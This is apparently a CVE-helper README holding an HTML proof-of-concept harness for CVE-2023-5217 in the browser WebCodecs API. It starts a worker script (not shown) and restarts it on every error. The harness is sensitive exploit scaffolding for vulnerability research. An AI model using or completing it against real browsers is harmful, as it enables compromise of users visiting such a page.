CVE-2023-5217 – CVE Helper

README.md

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<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8">
  <title>CVE-2023-5217 - WebCodecs</title>
</head>

<body>
  <script>
    function startWorker() {
      let worker = new Worker('webcodecs.js', { name: "Video worker"});
      worker.onmessage = function(e) {
        // Recreate worker in case of an error
        console.log('Worker error: ' + e.data);
        worker.terminate();
        startWorker();
      };
      worker.postMessage({}, []);
    }

    function main() {
      if (!("VideoFrame" in window)) {
        document.body.innerHTML = "<h1>WebCodecs API is not supported.</h1>";
        return;
      }
      startWorker();
    }

    document.body.onload = main;
  </script>

</body>

</html>